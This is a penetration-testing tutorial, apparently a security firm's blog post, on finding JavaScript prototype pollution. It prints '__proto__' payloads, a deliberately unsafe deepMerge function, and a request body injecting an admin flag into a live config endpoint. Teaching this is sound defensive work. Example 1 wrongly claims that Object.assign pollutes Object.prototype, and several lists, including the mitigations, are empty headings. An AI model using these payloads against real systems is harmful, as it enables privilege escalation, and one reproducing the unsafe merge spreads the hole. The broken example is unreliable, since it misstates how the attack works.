Manual Testing for JavaScript Prototype Pollution

Prototype pollution is a serious security vulnerability in JavaScript applications, where an attacker is able to inject or modify properties on the Object prototype. This can lead to unexpected behavior, denial of service, or even remote code execution depending on how the polluted properties are used. In this deep-dive post, we’ll explore the mechanics of JavaScript prototype pollution, demonstrate manual testing techniques during web-application penetration tests, and provide code examples to help you both understand and detect these vulnerabilities.


Understanding Prototype Pollution

JavaScript uses prototypes to allow objects to inherit properties from one another. The Object.prototype is the base prototype that nearly all objects inherit from. When this prototype is polluted—i.e., when an attacker can modify it by injecting new properties—the changes propagate to all objects. This can be exploited to:

The Mechanics

In many cases, web applications accept JSON input and merge it with existing objects without proper validation. For instance, using functions like Object.assign(), _.merge() from lodash, or similar object merging techniques can lead to pollution if they inadvertently allow control over the prototype chain.


Common Vulnerable Patterns

  1. Unrestricted JSON Merging:
    Applications that blindly merge user-supplied JSON data with internal objects can be exploited. For example:

    const payload = JSON.parse(userInput);
    const config = Object.assign({}, defaultConfig, payload);
    

    If userInput contains a key like "__proto__", it might allow changes to the prototype of the resulting object.

  2. Improper Sanitization of User Input:
    Any operation that does not sanitize object keys can be a potential vector. Libraries that perform deep merges without filtering special keys are common culprits.

  3. Dynamic Property Access:
    Code that dynamically accesses properties based on user-supplied keys may inadvertently expose prototype properties to manipulation.


Manual Testing Methodology

When performing manual penetration tests, follow these steps to determine if an application is vulnerable to prototype pollution:

1. Identify Potential Injection Points

2. Craft a Prototype Pollution Payload

A typical payload for testing prototype pollution might try to add a new property to the Object.prototype. For example:

{
  "__proto__": {
    "polluted": "Yes, polluted!"
  }
}

3. Inject and Observe

4. Validate the Impact


Code Examples and Demonstrations

Example 1: Basic Prototype Pollution Using Object.assign()

Below is a simple demonstration showing how the pollution occurs:

// Step 1: Create an empty object.
let victim = {};

// Step 2: Define a payload with a __proto__ key.
let payload = JSON.parse('{"__proto__": {"polluted": "Yes, polluted!"}}');

// Step 3: Merge payload into the victim object.
Object.assign(victim, payload);

// Step 4: Check if the pollution succeeded.
if ({}.polluted) {
  console.log("Prototype polluted:", {}.polluted);  // Expected output: "Yes, polluted!"
} else {
  console.log("Prototype not polluted.");
}

Explanation:

Example 2: Exploiting Deep Merge Vulnerabilities

Many libraries perform deep merges. Consider a function that recursively merges objects:

function deepMerge(target, source) {
  for (let key in source) {
    if (source[key] && typeof source[key] === 'object') {
      if (!target[key]) {
        target[key] = {};
      }
      deepMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

let victim = {};
let payload = JSON.parse('{"__proto__": {"polluted": "Deep polluted!"}}');
deepMerge(victim, payload);

if ({}.polluted) {
  console.log("Prototype polluted via deep merge:", {}.polluted);  // Expected output: "Deep polluted!"
} else {
  console.log("Prototype not polluted.");
}

Explanation:

Example 3: Testing via HTTP Request Interception

When testing against a live application endpoint, you might use an interception proxy like Burp Suite to modify JSON payloads. For example, if an endpoint at /api/update-config accepts JSON, you might send:

{
  "setting": "value",
  "__proto__": {
    "admin": true
  }
}

After the request is processed, verify in the application if any new behavior (such as elevated privileges or configuration changes) is observed that could be attributed to the prototype pollution.

Steps to Validate:

  1. Intercept a legitimate JSON request to /api/update-config.
  2. Modify the JSON body with the payload above.
  3. Forward the request and observe the server response.
  4. Use any available functionality or additional testing endpoints to check if the admin flag or any other polluted property influences application behavior.

Mitigation and Remediation Considerations

While our focus is on manual testing, it’s crucial to understand mitigation strategies:


Conclusion

Prototype pollution remains a potent vulnerability in modern JavaScript applications. By understanding its mechanics and knowing how to manually test for it, penetration testers can effectively identify and report these issues before they are exploited. This article has provided a comprehensive guide with code examples and practical testing methodologies suitable for a highly technical audience.

Happy pentesting!

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.